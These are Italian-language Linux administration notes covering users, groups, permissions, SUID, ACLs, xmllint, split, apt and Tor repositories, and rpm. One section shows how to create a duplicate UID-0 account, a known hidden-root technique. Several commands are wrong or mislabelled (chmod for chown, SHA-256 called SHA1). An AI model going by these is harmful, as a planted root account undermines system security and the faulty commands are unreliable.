
· /etc/group

In ogni file vengono memorizzate specifiche informazioni di un utente.

Andiamo ad analizzare il file /etc/passwd alla linea relativa all’utente michele:

Ogni parametro separato dal duepunti ( : ) ci fornisce un informazione diversa:

· michele: Indica il nome dell’utente

· x: Indica la password che però non si trova in questo file

· 500: Indica lo UID dell’utente ( User ID )

· 500: Indica il GID dell’utente ( Group ID )

· :: Adesso c’è un campo lasciato vuoto che potrebbe contenere il nome o il cognome dell’utente o altre informazioni che in questo caso non abbiamo messo

· /home/michele: Indica la Home Directory dell’utente, ossia dove l’utente michele ha pieni privilegi e può creare e organizzare tutti i suoi file personali

· /bin/bash: Indica l’assegnazione della shell per l’utente in questione

L’assegnazione del valore dello UID e del GID per tutti gli utenti che non sono di sistema quindi utenti normali inizia da 500 in su ( 501, 502, 503, ecc) mentre per quelli di sistema arriva fino a 499.

Andiamo ad analizzare il file /etc/shadow alla linea relativa all’utente michele:

Ogni parametro separato dal duepunti ( : ) ci fornisce un informazione diversa:

· michele: Indica il nome utente

· $6$AxNLDSB….: Indica la password cifrata dell’utente

· 15911: Indica l’ultima volta che è stata cambiata la password e viene espresso in numero di giorni a partire da 1/1/1970

· 0: Indica il numero MINIMO di giorni che devono passare prima di poter ricambiare la password dall’ultimo cambio effettuato

· 9999: Indica il numero MASSIMO di giorni che può passare dopo che la password risulta scaduta e deve essere obbligatoriamente ricambiata

· 7: Indica il numero di giorni in cui l’utente viene avvisato che la password sta per scadere

· Il penultimo campo mancante indica per quanti giorni, dopo la scadenza della password, l’account viene disabilitato

· L’ultimo campo mancante indica il giorno in cui l’utente è stato disabilitato e viene espresso in numero di giorni a a partire da 1/1/1970

· Infine ci sarebbe anche un altro campo ma è un campo riservato

Andiamo ad analizzare il file /etc/group alla linea relativa all’utente michele:

· michele: Indica il nome del Gruppo

· x: Indica una possibile password da inserire per questo gruppo

· 500: Indica il GID ( Group ID ) del gruppo

· L’altro campo mancante indica i possibili utenti che possono far parte anche di questo gruppo

Detto questo andiamo a vedere alcune opzioni del comando:

useradd

· -d /percorso Indica di usare la Home Directory specificata nel percorso per l’utente in questione

· -e DATA_SCADENZA Indica la data di scadenza per l’utente in questione

· -g nome_gruppo Indica il gruppo PRIMARIO di cui l’utente in questione deve far parte

· -G nome_gruppo Indica il gruppo SECONDARIO di cui l’utente in questione può far parte

· -u UID Indica lo User ID per l’utente in questione

· -s /sbin/nologin Indica che l’utente non ha una shell per entrare direttamente sul sistema ( si può usare ad esempio nel caso dovessimo inserire degli utenti per una condivisione di risorse tipo Samba nel quale gli utenti devono "esistere" nel sistema ma solamente per quel servizio )

Facciamo degli esempi:

Vogliamo che l’utente nicola faccia parte del gruppo primario scuola:

groupadd scuola

useradd nicola -g scuola

Per verificare possiamo utilizzare il comando id:

id nicola

Come vediamo lo UID è a 501
Il GID
Principale è anch’esso a 501
Il Gruppo Principale e Secondario
di cui fa parte è scuola

Possiamo creare un utente di nome luca e come gruppo secondario possiamo farlo far parte del gruppo scuola:

useradd luca -G scuola

Come vediamo il gruppo Principale cui non abbiamo dichiarato è uguale a quello dell’utente mentre come gruppo Secondario vediamo che fa parte anche del gruppo scuola.

Andando a dare un occhiata al file /etc/group noteremo questa cosa:

Come vediamo luca è membro anche del gruppo Secondario scuola e viene fatto vedere, mentre l’utente nicola che ha come gruppo principale scuola non viene mensionato.

Potremmo aver creato altri utenti nel sistema e potrebbe capitare di renderli membri di un gruppo secondario e qui introduciamo il comando usermod dove troviamo le stesse opzioni di prima e serve per modificare i criteri di utenti gia creati.

Nel nostro caso dobbiamo rendere gli utenti mauro e giovanni membri del gruppo secondario scuola:

usermod -G scuola mauro

usermod -G scuola ciccio

NOTA:

*) L’opzione -aG (append) serve ad AGGIUNGERE il nuovo gruppo secondario senza eliminare quelli gia presenti. Senza l’opzione "a" il comando usermod -G cancella tutti gli altri gruppi secondari eventualmente associati all’utente

Per eliminare un gruppo utilizziamo il comando groupdel seguito dal nome del gruppo:

groupdel scuola

Nel caso in cui avessimo un utente che ha come gruppo Primario scuola dobbiamo prima eliminare l’utente in questione altrimenti avremo un messaggio di errore

Per ciò che riguarda la scadenza di account dobbiamo utilizzare il comando chage seguito dal nomeutente:

chage michele

Vediamo adesso come eliminare un utente dal sistema.

Per fare ciò utilizziamo il comando userdel seguito dall’opzione -r e dall’utente che vogliamo eliminare.

Se volessimo eliminare gli utenti michele e nicola daremo i seguenti comandi:

userdel -r nicola

usedel -r michele

Detto ciò parliamo di permessi:

Su ogni file o Directory possiamo vedere e modificare i permessi di lettura, scrittura o eseguzione.

Innanzitutto per vedere i permessi diamo il comando ll o ls -all e ci potremmo trovare davanti a una cosa del genere.

Cerchiamo di capire ciò che vediamo:

· L’inizio di ogni file o Directory inizia con il – se è un file o con la lettera d se è una Directory

· Successivamente abbiamo i permessi di Lettura ( r ), Scrittura ( w ) o Eseguzione ( x ) a gruppi di 3:

· Il primo rwx appartiene all’utente proprietario ( U )

· Il secondo appartiene al gruppo proprietario ( G )

· Il terzo appartiene a tutti gli altri ( O )

· Abbiamo di seguito il nome dell’utente proprietario e del gruppo proprietario

I permessi di Lettura, Scrittura ed Eseguzione oltre che alle lettere si possono associare a dei numeri e vedremo che assegnare i permessi tramite i numeri è molto più pratico.

· Lettura: 4

· Scrittura: 2

· Eseguzione: 1

Il comando per assegnare o modificare i permessi è: chmod

Se ad esempio creiamo un file e vogliamo assegnare i permessi di Lettura, Scrittura ed Eseguzione al proprietario e di Lettura ed Eseguzione al gruppo e a tutti gli altri daremo il seguente comando:

chmod 755 file1

Il 7 è riferito al Proprietario e si ottiene facendo la somma dei valori sopra citati (4+2+1)
Il primo 5 è riferito al Gruppo e si ottiene facendo la somma dei valori sopra citati (4+1)
Il secondo 5 è riferito a tutti gli altri e si ottiene facendo la somma dei valori sopra citati (4+1)

Se volessimo assegnare invece i permessi di Lettura e Scrittura al proprietario mentre solamente di lettura al gruppo e a tutti gli altri faremo nel seguente modo:

chmod 644 file2

Ricordiamo che le Directory devono obbligatoriamente avere il permesso di lettura ed eseguzione se vogliamo poter dare l’accesso al loro contenuto

Il comando per cambiare gruppo invece è chgrp:

Se vogliamo cambiare gruppo ad un file da root a scuola per esempio daremo il seguente comando:

chgrp scuola file2

Se invece volessimo cambiare sia Proprietario che Gruppo ad un file in un colpo solo useremo il comando: chown proprietario:gruppo file

chown nicola:scuola file2

Se volessimo cambiare gruppo ad una Directory e al suo contenuto dobbiamo eseguire il comando in maniera ricorsiva ossia con l’opzione -R

chgrp -R scuola dati/


Detto questo parliamo di permessi speciali ossia di SUID, SGID e Stick Bit:

· SUID serve per far eseguire un file con i privilegi dell’utente proprietario

· SGID si applica alle Directory invece che ai file e qualsiasi file creato all’interno della stessa cartella erediterà lo stesso gruppo di appartenenza della directory.

· Stick Bit invece permette la cancellazione dei file solo ai legittimi proprietari

SUID

Per attivare il SUID usiamo l’opzione u+s seguita dal nome del file:

chmod u+s nome_file

Per disattivarlo usiamo l’opzione u-s

chmod u-s nome_file

Un esempio potrebbe essere il comando ping che ci consente di aprire una connessione anche se non siamo utenti root.

Nella Directory /bin vediamo infatti che il comando ping ha lo SUID:

Proviamo a disattivarlo:

chmod u-s ping

E come vediamo non ci è più permesso effettuare l’operazione di ping.

Se gli ridiamo lo SUID l’operazione di ping sarà accessibile anche agli utenti non privilegiati:

SGID

Per attivare il SGID usiamo l’opzione g+s seguita dalla Directory:

chmod g+s directory

Per disattivarlo usiamo l’opzione g-s:

chmod g-s directory

Un esempio potrebbe essere se in una Directory vogliamo cambiare il gruppo da root a scuola, ma vogliamo che anche i file creati al suo interno ereditino il gruppo di appartenenza della Directory.

Per fare questo diamo i seguenti comandi:

Nel momento in cui togliamo l’ SGID i file creati al suo interno assumono il gruppo dell’utente proprietario che li crea, in questo caso root:

STICK BIT

Per implementare lo stick bit usiamo l’opzione o+t quindi scriviamo:

chmod o+t directory

Per disattivarlo invece usiamo l’opzione o-t:

chmod o-t directory

Se ad esempio abbiamo una Directory con dentro più file appartenenti a più utenti e abbiamo impostato i permessi 777 ( Assolutamente sconsigliabile, ma serve per capire il funzionamento) per fare in modo che ogni utente possa eliminare solamente i file di cui è legittimo proprietario implementiamo lo Stick Bit:


Se non ci fosse stato lo Stick Bit i file di claudio potrebbero essere stati tranquillamente eliminati

PARLIAMO DELLE ACL

Per concludere parliamo delle ACL e di quando implemetarle:

Le ACL ci vengono incontro nel momento in cui su uno stesso file dobbiamo dare dei permessi specifici per degli utenti specifici ossia abilitare ad esempio la scrittura su un file solamente per uno specifico utente mentre per tutti gli altri lasciare tutto invariato.

Per fare questo usiamo le ACL tramite i seguenti comandi: getfacl e setfacl

Con il comando getfacl possiamo vedere le ACL assegnate
Con il comando setfacl impostiamo le ACL per un determinato file o Directory

Vediamo come fare tramite alcuni esempi:

Vogliamo ad esempio che un file che si trova dentro la directory tmp sia leggibile e scrivibile solamente dall’utente michele.
Il nome del file in questione è file1.

setfacl -m u:michele:rw file1

E come vediamo il file è stato modificato dall’utente michele

Ovviamente questo è possibile se la directory superiore ( in questo caso tmp ) ci concede il permesso di entrare, infatti se proviamo a fare questa cosa nella root directory non ci viene concesso il permesso per entrare.

Stessa cosa per quanto riguarda i gruppi e tutti gli altri, solamente usiamo l’opzione g: e o: invece che u:

Facciamo un esempio su una Directory creata sulla / di nome dati dall’utente root.
Vogliamo che solamente il gruppo scuola possa leggere e modificare i file al suo interno:

Come abbiamo detto precedentemente se non avessimo dato anche il permesso di eseguzione l’utente nicola ( che fa parte del gruppo scuola, è indifferente se è gruppo primario o secondario ) non sarebbe potuto nemmeno entrare nella directory

Per visualizzare le ACL usiamo il comando getfacl seguito dal nome del file:

getfacl file1


Per eliminare le ACL assegnate
usiamo il comando setfacl seguito dall’opzione –remove-all

Come potete norare quando su un file sono presenti anche le ACL al posto del puntino ( . ) ci viene il segno più ( + ), mentre quando le eliminamo ritorna il puntino.

E infatti dando il comando getfacl le ACL non risultano più esserci.

Per concludere il discorso è FONDAMENTALE sapere che le ACL possono essere implementate sul Logical Volume o Partizione dove è installato il sistema operativo ossia nella /.

Nel caso in cui debbano essere implementate in un Logical volume o partizione che viene creata successivamente all’installazione del sistema operativo dobbiamo rimontare quella partizione o Logical Volume con l’attributo acl che inseriamo nel file /etc/fstab.

Per fare un esempio:

Abbiamo partizionato il disco tramite LVM
In un secondo momento abbiamo creato un Logical Volume chiamato dati ( /dev/VolGroup/dati )
Ci è venuto necessario applicare le ACL:

Dopo averlo creato e reso disponibile per il suo utilizzo siamo andati a montarlo nella Directory dati nella / del sistema, ci abbiamo creato dentro un file e siamo andati a impostare le ACL ma ci siamo trovati davanti all’impossibilità di applicarle.


Magari potrà sorgere il dubbio che stiamo montando il Logical Volume nella / e che prima abbiamo detto che sulla / ( dove viene installato il sistema operativo ) non ci sono problemi per l’utilizzo delle ACL.

Preciso maggiormente che non ci sono problemi se si applica le ACL a file o Directory che fanno parte del sistema operativo ma se le applichiamo ad una Directory o a file che fanno parte di un punto di montaggio di una partizione o Logical Volume diverso da quello di / sorgono questi "problemi".

Per risolvere questa cosa dobbiamo rimontare il Logical Volume con l’attributo acl nel file /etc/fstab nel seguente modo:


Per verificare che abbiamo fatto tutto bene diamo il comando:

mount -a

Se il comando non restituisce niente tutto è andato a buon fine, e quindi RIAVVIAMO IL SISTEMA.

A sistema riavviato il file sysem viene montato in modo tale che si può implementare le ACL.

https://www.extraordy.com/amministrazione-di-utenti-e-gruppi-con-gestione-dei-permessi-e-acl/

=====================================================================================

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000

=====================================================================================

 

LEGGERE FILE XML DI GRANDI DIMENSIONI

A volte puo' capitare di dover manipolare o effettuare delle ricerche all'interno di file .xml di dimensioni molto grandi (anche oltre 1 GB!!). I normali editor come vim, nano, PSPad, Notepad++, etc. non riescono ad aprire interamente file di tali dimensioni.

Per ovviare al problema esiste un tool standard linux (presente sia in Debian che in RedHat) che si chiama xmllint.

Questo tool mette a disposizione una shell interattiva che, tra le altre, offre una funzione di ricerca testo nel file.

*) Avviare la shell interattiva e ricercare una stringa:

synhack@vmp-mit1:~$ xmllint --shell 20190706_00001_esame.xml

/ > grep stringa-da-cercare

*) Visualizzare l'elenco dei comandi disponibili della shell

/ > help

base display XML base of the node

setbase URI change the XML base of the node

bye leave shell

cat [node] display node or current node

cd [path] change directory to path or to root

dir [path] dumps informations about the node (namespace, attributes, content)

du [path] show the structure of the subtree under path or the current node

exit leave shell

help display this help

free display memory usage

load [name] load a new document with name

ls [path] list contents of path or the current directory

set xml_fragment replace the current node content with the fragment parsed in context

xpath expr evaluate the XPath expression in that context and print the result

setns nsreg register a namespace to a prefix in the XPath evaluation context

format for nsreg is: prefix=[nsuri] (i.e. prefix= unsets a prefix)

setrootns register all namespace found on the root element

the default namespace if any uses 'defaultns' prefix

pwd display current working directory

quit leave shell

save [name] save this document to name or the original name

write [name] write the current node to the filename

validate check the document for errors

relaxng rng validate the document agaisnt the Relax-NG schemas

grep string search for a string in the subtree

/ >

*) Visualizzare tutte le opzioni di xmllint (digitare semplicemente il nome del tool e premere invio)

synhack@vmp-mit1:~$ xmllint

Usage : xmllint [options] XMLfiles ...

Parse the XML files and output the result of the parsing

--version : display the version of the XML library used

--debug : dump a debug tree of the in-memory document

--shell : run a navigating shell

--debugent : debug the entities defined in the document

--copy : used to test the internal copy implementation

--recover : output what was parsable on broken XML documents

--huge : remove any internal arbitrary parser limits

--noent : substitute entity references by their value

--noout : don't output the result tree

--path 'paths': provide a set of paths for resources

--load-trace : print trace of all external entites loaded

--nonet : refuse to fetch DTDs or entities over network

--nocompact : do not generate compact text nodes

--htmlout : output results as HTML

--nowrap : do not put HTML doc wrapper

--valid : validate the document in addition to std well-formed check

--postvalid : do a posteriori validation, i.e after parsing

--dtdvalid URL : do a posteriori validation against a given DTD

--dtdvalidfpi FPI : same but name the DTD with a Public Identifier

--timing : print some timings

--output file or -o file: save to a given file

--repeat : repeat 100 times, for timing or profiling

--insert : ad-hoc test for valid insertions

--compress : turn on gzip compression of output

--html : use the HTML parser

--xmlout : force to use the XML serializer when using --html

--push : use the push mode of the parser

--memory : parse from memory

--maxmem nbbytes : limits memory allocation to nbbytes bytes

--nowarning : do not emit warnings from parser/validator

--noblanks : drop (ignorable?) blanks spaces

--nocdata : replace cdata section with text nodes

--format : reformat/reindent the input

--encode encoding : output in the given encoding

--dropdtd : remove the DOCTYPE of the input docs

--c14n : save in W3C canonical format v1.0 (with comments)

--c14n11 : save in W3C canonical format v1.1 (with comments)

--exc-c14n : save in W3C exclusive canonical format (with comments)

--nsclean : remove redundant namespace declarations

--testIO : test user I/O support

--catalogs : use SGML catalogs from $SGML_CATALOG_FILES

otherwise XML Catalogs starting from

file:///etc/xml/catalog are activated by default

--nocatalogs: deactivate all catalogs

--auto : generate a small doc on the fly

--xinclude : do XInclude processing

--noxincludenode : same but do not generate XInclude nodes

--nofixup-base-uris : do not fixup xml:base uris

--loaddtd : fetch external DTD

--dtdattr : loaddtd + populate the tree with inherited attributes

--stream : use the streaming interface to process very large files

--walker : create a reader and walk though the resulting doc

--pattern pattern_value : test the pattern support

--chkregister : verify the node registration code

--relaxng schema : do RelaxNG validation against the schema

--schema schema : do validation against the WXS schema

--schematron schema : do validation against a schematron

--sax1: use the old SAX1 interfaces for processing

--sax: do not build a tree but work just at the SAX level

--oldxml10: use XML-1.0 parsing rules before the 5th edition

Libxml project home page: http://xmlsoft.org/

To report bugs or get some help check: http://xmlsoft.org/bugs.html

 

====================================================================

00000000000000000000000000000000000000000000000000000000000000000000

====================================================================

DIVIDERE (SPLITTARE) FILE DI GRANDI DIMENSIONI

split -b 200MB nomefile.xyz nomefile-splitted-

Opzioni:

-a –suffix-length=N use suffixes of length N (default 2)

-b –bytes=SIZE put SIZE bytes per output file

-C –line-bytes=SIZE put at most SIZE bytes of lines per output file

-d –numeric-suffixes use numeric suffixes instead of alphabetic

-l –lines=NUMBER put NUMBER lines per output file

 

ESEMPIO: Dividere un file video e poi riunirlo (rejoin)

split -b 600MB Video.avi Video-Splitted-

in questo caso il file Video.avi verrà spezzato generando più files di al massimo 600 MB il cui nome inizierà con Video-Splitted- e terminerà con un suffisso di lettere progressive: aa, ab, ac, ad,…

Supponendo che il file iniziale sia di 2160 MB si otterrebbero i seguenti file:

Video-Splitted-aa 600 MB

Video-Splitted-ab 600 MB

Video-Splitted-ac 600 MB

Video-Splitted-ad 360 MB

Il prefisso dei file da generare è facoltativo (nell'esempio è stato scelto "Video-Splitted-"). Se non viene specificato viene usato il prefisso "x" di default, quindi i file generati si chiamerebbero xaa, xab, xac, … etc.

 

RIUNIRE I FILES

Per unire nuovamente (rejoin) i files in un unico file si usa il comando cat:

cat Video-Splitted-* > Video.avi

Fonte:

https://sefi.it/linux/comandi-per-dividere-e-riunire-un-file

https://linoxide.com/linux-how-to/split-large-text-file-smaller-files-linux/

 

====================================================================

00000000000000000000000000000000000000000000000000000000000000000000

====================================================================

LINK SIMBOLICI

ln -s file_esistente file_link_simbolico

 

====================================================================

00000000000000000000000000000000000000000000000000000000000000000000

====================================================================

CREARE UNA DIRECTORY

mkdir /xxx/yyy/zzz/new_directory

La Shell di Linux non comprende spazi. Per operare (creare, cancellare, spostare, rinominare) su file o directory che contengono spazi, il loro nome va scritto tra apici. Per esempio:

mkdir /xxx/yyy/zzz/‘new directory’ (crea cartella con spazi nel nome)

touch /xxx/yyy/zzz/‘new file.xyz’ (crea file con spazi nel nome)

 

====================================================================

00000000000000000000000000000000000000000000000000000000000000000000

====================================================================

SU e SUDO (Switch User DO) (Cambia Utente)

su ===> Diventa root ma mantiene le variabili d'ambiente dell'utente normale

su - ===> Diventa root ma acquisisce le variabili d'ambiente di root

sudo -s ===> Diventa root ma mantiene le variabili d'ambiente dell'utente normale

sudo -i ===> Diventa root ma acquisisce le variabili d'ambiente di root

sudo su - ===> Attiva Super User come root con variabili root

sudo -u username -i ===> Cambia Utente con quello specificato (login con username specificato)

--------------------------------------

ELENCARE GLI UTENTI DEL SISTEMA (Users)

cat /etc/passwd = Elenca TUTTI gli utenti del sistema, anche i NON umani (creati dal sistema per assolvere a determinati compiti). Per visualizzare solo gli utenti Reali (umani) basta elencare solo gli utenti che hanno una Home Directory.

cat /etc/passwd | grep home = Il simbolo | passa l’output del comando precedente al comando successivo (grep) che cattura e presenta solo gli item che contengono la parola "home"

 

GESTIRE PRIVILEGI E PROPRIETARI di File e Directory

chmod a,u,g,o+r,w,x /xxx/yyy/zzz/file.xyz (o directory se non si specifica il nome file)

a = all (tutti)

u = user (utente proprietario del file o della cartella)

g = group (gruppo)

o = other (altri utenti)

r = read (accesso in sola lettura)

w = write (accesso in letura e scrittura)

x = execute (accesso in esecuzione)

chmod 764 /xxx/yyy/zzz/file.xyz (Assegna al proprietario controllo completo (7), al group privilegi di lettura e scrittura (6), agli altri sola lettura (4)

SPIEGAZIONE:

Il primo numero è relativo al proprietario del file

Il secondo numero è relativo al gruppo

Il terzo numero è relativo a tutti gli altri

La cifra (da 0 a 7) definisce i privilegi. Più è alta, più sono elevati i privilegi.

7 = rwx (controllo completo)

6 = rw (lettura e scrittura)

5 = rx (lettura ed esecuzione)

4 = r (sola lettura)

3 = wx (scrittura ed esecuzione)

2 = w (scrittura)

1 = x (esecuzione)

0 = negato ogni accesso (deny Any)

 

chown steven /xxx/yyy/zzz/file.xyz (Assegna all’utente "steven" il file "file.xyz". Così l’ipotetico utente steven diventa il proprietario del file (o della directory) e potrà modificarla a piacimento.

CREARE e GESTIRE UTENTI

useradd [option] newuser

Esempio: creare il nuovo utente newadmin con privilegi di root:

useradd -o -u 0 newadmin

(-u 0 = assegna UID 0 (root), -o = consenti UID non univoci. Questa opzione è necessaria perché’ lo UID 0 è già assegnato all’utente root quindi per assegnarlo ad un secondo o terzo utente è necessario definirlo NON univoco.

Esiste un altro modo per assegnare-modificare i privilegi di un account, editando il file /etc/passwd

sudo nano /etc/passwd

cercare la riga corrispondente all’account che si vuole modificare

newuser:x:1001:1001::/home/newuser:/bin/bash

e sostituire lo UID standard (1001) con il numero 0 e facoltativamente il nome utente2

newadmin:x:0:1001::/home/newadmin:/bin/bash

ELIMINARE UTENTI

userdel username

ASSEGNARE LA PASSWORD

passwd username (Una volta premuto invio verrà chiesto di inserire la password e poi di nuovo per conferma)

MODIFICARE IL GRUPPO ASSEGNATO AD UN UTENTE

usermod -g gruppo-primario -aG gruppo-secondario nomeutente

*) L’opzione a (append) serve ad AGGIUNGERE il nuovo gruppo secondario senza eliminare quelli gia presenti. Senza l’opzione "a" il comando usermod -G cancella tutti gli altri gruppi secondari eventualmente associati all’utente

MODIFICARE PROPRIETARIO E GRUPPO DI UN FILE

chmod proprietario:gruppo nomefile.xxx

MODIFICARE LA HOME DIRECTORY DI UN UTENTE

chmod usermod -m -d /home/nomeutente nomeutente

*) L'opzione -m sposta il contenuto della vecchia home nella nuova.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

SHASUM

*) Quando si scarica un file da Internet è sempre opportuno verificare l'integrità del file, confrontando la checksum riportata sul sito ufficiale, con la checksum ricavata utilizzando shasum sul file

shasum -a 512 /xxx/yyy/nomefile.xyz ===> Crea la checksum hash SHA2 a 512 bit del file specificato

shasum -a 256 /xxx/yyy/nomefile.xyz ===> Crea la checksum hash SHA1 a 256 bit del file specificato

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

DEBIAN APT-GET REPOSITORY PACCHETTI INSTALLAZIONE APPLICAZIONI

https://www.debian.org/doc/manuals/apt-howto/ch-apt-get.it.html

*) apt-get è il repository (archivio) dei pacchetti software per le distribuzioni Linux Debian based.

Nelle distribuzioni "classiche" come Debian 9 e Ubuntu il repository POTREBBE non funzionare.

Per esempio, installando Debian in assenza di una connessione di rete, il file di configurazione del repository conterrà soltanto le specifiche per l'installazione da DVD.

In questi casi è necessario modificare il suddetto file al path:

/etc/apt/sources.list

Ed aggiungere i link per l'installazione da rete Internet:

# /etc/apt/sources.list :

deb http://ftp.it.debian.org/debian/ stretch-updates main contrib

deb-src http://ftp.it.debian.org/debian/ stretch-updates main contrib

*) Nell'esempio di cui sopra si fa riferimento alla versione "stretch"

Per stabilire quale versione di distro si sta utilizzando, lanciare il comando:

hostnamectl

E poi cercare su Internet il repository corretto per la propria versione (es.)

https://www.debian.org/mirror/list

https://linuxconfig.org/debian-apt-get-stretch-sources-list

https://linuxconfig.org/debian-apt-get-wheezy-sources-list

*) Di seguito un esempio di file /etc/apt/sources.list

*********************************************************************

#

 

 

# deb cdrom:[Debian GNU/Linux 9.8.0 _Stretch_ - Official amd64 DVD Binary-1 20190216-11:59]/ stretch contrib main

 

# deb cdrom:[Debian GNU/Linux 9.8.0 _Stretch_ - Official amd64 DVD Binary-1 20190216-11:59]/ stretch contrib main

 

 

# /etc/apt/sources.list :

# deb http://ftp.it.debian.org/debian/ jessie main contrib non-free

# deb-src http://ftp.it.debian.org/debian/ jessie main contrib non-free

 

 

# Line commented out by installer because it failed to verify:

deb http://security.debian.org/debian-security stretch/updates main contrib

# Line commented out by installer because it failed to verify:

deb-src http://security.debian.org/debian-security stretch/updates main contrib

 

 

# stretch-updates, previously known as 'volatile'

# Line commented out by installer because it failed to verify:

deb http://ftp.it.debian.org/debian/ stretch-updates main contrib

# Line commented out by installer because it failed to verify:

deb-src http://ftp.it.debian.org/debian/ stretch-updates main contrib

*********************************************************************

*) Una volta sistemato il repository di base, possiamo installare i pacchetti con il classico apt-get

apt-get update ====> Aggiorna il repository

apt-get -u upgrade ====> Aggiorna il Sistema Operativo, con -u mostra in dettaglio quali pacchetti sono installati

apt-get -u dist-upgrade ====> Aggiorna il Sistema Operativo alla Nuova Release della distribuzione

In alcune distribuzioni si possono usare sintassi diverse per gli stessi comandi:

apt update

apt -y -full-upgrade (&& apt -y -full-upgrade su Hacker Journal N.230 2019-03)

*) A volte alcuni software non vengono aggiornati con tempestivita nel repository ufficiale, ma è possibile specificare sorgenti alternative modificando il file /etc/apt/sources.list

Ad esempio, aggiungiamo il repository di TOR:

vi /etc/apt/sources.list

--------------------------------------------------------------

...

# TOR repository

deb http://deb.torproject.org/torproject.org jessie main

deb-src http://deb.torproject.org/torproject.org jessie main

...

--------------------------------------------------------------

*) Per scaricare correttamente i pacchetti è necessario specificare la corretta chiave GPG.

Le chiavi GPG cosi come le stringhe da inserire nel file sources.list sono disponibili sul sito del progetto TOR:

https://www.torproject.org/docs/debian

sudo gpg2 --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89

sudo gpg2 --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -

*) Infine procediamo all'installazione:

sudo apt-get update

sudo apt-get install tor deb.torproject.org-keyring

*) Una volta installato, TOR agirà come un proxy in ascolto sulle porte 9050 e 9150:

socks port = 9050

TOR Browser port = 9150

*) Per verificare che TOR sia attivo, da CLI shell digitare:

service tor status ===> Mostra lo stato del servizio TOR

service tor start ===> Avvia il servizio TOR

service tor stop ===> Arresta il servizio TOR

service tor restart ===> Riavvia il servizio TOR

*) Per verificare su quali porte il servizio è in ascolto:

sudo netstat -tulp | grep tor

*) Per l'uso con proxychains (test) basta modificare il file /etc/proxychains.conf

socks4 127.0.0.1 9050

------------------------------------------------------

APT-CACHE SEARCH (RICERCA PACCHETTI INSTALLAZIONE)

*) Spesso è necessario installare una particolare versione di un software, e non e' sempre facile trovare il pacchetto specifico tra le centinaia disponibili.

Per ottimizzare la ricerca si puo' utilizzare il comando apt-cache nel modo seguente:

apt-cache search nomeapp

*) Esempio:

apt-cache search java | grep jdk

------------------------------------------------------

APT-GET INSTALL (APT INSTALL)

*) Installare un software specifico

apt-get update

apt-get install NomePacchettoSoftware

oppure

apt install NomePacchettoSoftware

*) A volte l'installazione richiede di soddisfare delle dipendenze. In questi casi provare a dare l'opzione:

--fix-missing

Esempio:

*) Installare il Server Grafico X

apt install xinit --fix-missing

------------------------------------------------------

INSTALLARE DA PACCHETTI .DEB

*) Alcuni software vanno scaricati dal sito (ufficiale o meno) e poi installati in locale. La maggior parte delle distro basate su Debian hanno un utility di gestione dei package (dpkg - Debian PacKaGe) .

dpkg -i /percorso/nome-file.deb

*) A volte la procedura restituisce errori relativi alle dipendenze, In questi casi provare a dare il comando:

apt-get -f install

*) Questo comando dovrebbe Fixare (-f) i problemi di dipendenze ed installare il software in un solo passaggio.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

INSTALLAZIONE REDHAT CENTOS FEDORA RED HAT YUM DNF RPM REPOSITORY PACCHETTI RPM TARBALL APPLICAZIONI

*) yum install nomeprogramma ===> Richiede connessione Internet sia per l'installazione che per le dipendenze

*) yum localinstall nomepacchetto.rpm ===> Richiede connessione Internet per le dipendenze

*) yum install -y ===> L’opzione -y (assumeYes) risponde automaticamente sì a tutte le domande. Utile nell’utilizzo in script batch di shell dove l’utente non può interagire attraverso la tastiera

*) dnf search nomeprogramma ===> Visualizza la lista completa dei pacchetti e delle dipendenze nel repository

*) rpm -i nomepacchetto.rpm ===> Non richiede connessione Internet ma il pacchetto rpm tarball deve essere specifico per la distribuzione in uso.

*) rpm -qa ===> Visualizza i dettagli sui pacchetti rpm installati. L'output puo' essere molto verboso ed e' consigliabile filtrarlo con grep

Esempio:

rpm -qa | grep nomeprogramma

*) rpm –e nomepacchetto.rpm ===> DISINSTALLA l’applicazione e rimuove i file di config e log

------------------------------------------------

Esempio:

*) Installazione di nginx 1.14.1

root@vm-proxy-lu37649482:/home/synhack/downloads/nginx# rpm -i nginx-1.14.1-1.el7_4.ngx.x86_64.rpm

avvertimento: nginx-1.14.1-1.el7_4.ngx.x86_64.rpm: Header V4 RSA/SHA1 Signature, ID chiave 7bd9bf62: NOKEY

----------------------------------------------------------------------

Thanks for using nginx!

Please find the official documentation for nginx here:

* http://nginx.org/en/docs/

Please subscribe to nginx-announce mailing list to get

the most important news about nginx:

* http://nginx.org/en/support.html

Commercial subscriptions for nginx are available on:

* http://nginx.com/products/

----------------------------------------------------------------------

*) Verifica dell'installazione e della configurazione di nginx

root@vm-proxy-lu37649482:/home/synhack/downloads/nginx# nginx -t

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok

nginx: configuration file /etc/nginx/nginx.conf test is successful

 

*) Visualizza dettagli sul pacchetto installato

root@vm-proxy-lu37649482:/home/synhack/downloads/nginx# rpm -qa | grep nginx

nginx-release-centos-7-0.el7.ngx.noarch

nginx-1.14.1-1.el7_4.ngx.x86_64

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

INSTALLAZIONE BINARI E BATCH SCRIPT SHELL ESEGUIBILI SUL SISTEMA DA UTENTE GENERICO

In linux per installare un qualsiasi eseguibile, binario o shell script batch che sia basta settare i permessi per renderlo eseguibile, copiarlo in /usr/local/bin/ e quindi creare un link simbolico nella dir /usr/bin/

ESEMPIO:

Abbiamo creato nella home utente uno script chiamato

mioscript.sh

*) Rendiamo il batch eseguibile

Chmod +x /home/utente/mioscript.sh

*) Copiamolo in /usr/local/bin/

sudo -i

cp -p /home/utente/mioscript.sh /usr/local/bin/

*) Creiamo un simlink al file nella dir /usr/bin

ln -s /usr/local/bin/mioscript.sh /usr/bin/mioscript

Adesso qualsiasi utente su qualsiasi directory potrà lanciare lo script semplicemente digitando sulla shell:

mioscript

 

